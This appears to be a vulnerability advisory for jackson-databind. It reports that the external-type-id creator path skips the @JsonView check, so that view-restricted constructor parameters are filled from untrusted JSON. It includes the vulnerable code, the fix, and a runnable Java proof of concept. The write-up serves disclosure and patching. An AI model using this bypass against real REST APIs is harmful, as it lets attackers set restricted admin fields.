jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`

Summary

In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.

This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.

Vulnerable Code Path

File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java Method: deserializeUsingPropertyBasedWithExternalTypeId

On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):

 if (creatorProp != null) {
     // [databind#1381]: if useInput=FALSE, skip deserialization from input
     if (creatorProp.isInjectionOnly()) { ... }
     // NO visibleInView(activeView) CHECK HERE
     if (!ext.handlePropertyValue(p, ctxt, propName, null)) {
         if (buffer.assignParameter(creatorProp, ...)) { ... }
     }
     continue;
 }

On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):

  if (creatorProp != null) {
     // [databind#5971]: must honor active view here too
     if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
         p.skipChildren();
         continue;
     }
     ...
 }

The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.

Proof of Concept

Compiles and runs against jackson-databind 2.21.4:

  import com.fasterxml.jackson.annotation.*;
  import com.fasterxml.jackson.databind.ObjectMapper;

  public class JsonViewExternalTypeIdBypass {
      public static class PublicView {}
      public static class AdminView extends PublicView {}

      public static abstract class Asset { public String name; }
      public static class PublicAsset extends Asset {}
      public static class AdminAsset extends Asset { public String secret; }

      public static class Container {
          @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
                  include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
                  property = "kind")
          @JsonSubTypes({
              @JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
              @JsonSubTypes.Type(value = AdminAsset.class,  name = "admin")
          })
          @JsonView(AdminView.class)
          public Asset asset;

          public String label;

          @JsonCreator
          public Container(
                  @JsonProperty("label") String label,
                  @JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
              this.label = label;
              this.asset = asset;
          }
      }

      public static class Wrapper {
          @JsonView(PublicView.class)
          public Container data;
      }

      public static void main(String[] args) throws Exception {
          // Admin-only "asset" should be blocked when reading with PublicView
          String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
                      + "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";

          ObjectMapper om = new ObjectMapper();
          Wrapper r = om.readerWithView(PublicView.class)
                  .forType(Wrapper.class)
                  .readValue(json);

          System.out.println(r.data);
          // Actual on 2.21.4:   Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
          // Expected (secure):  Container{label='hello', asset=null}
          if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
              System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
          }
      }
  }

A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.

Impact

View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.

• CWE-863 (Incorrect Authorization)
• Same impact class as CVE-2026-54517 / CVE-2026-54518
• No RCE, no DoS — this is an access-control / mass-assignment bypass

Trigger Conditions

Developer code must combine (no opt-in user configuration required):

1. Property-based @JsonCreator on the outer type
2. A creator parameter annotated with @JsonView(RestrictedView.class)
3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")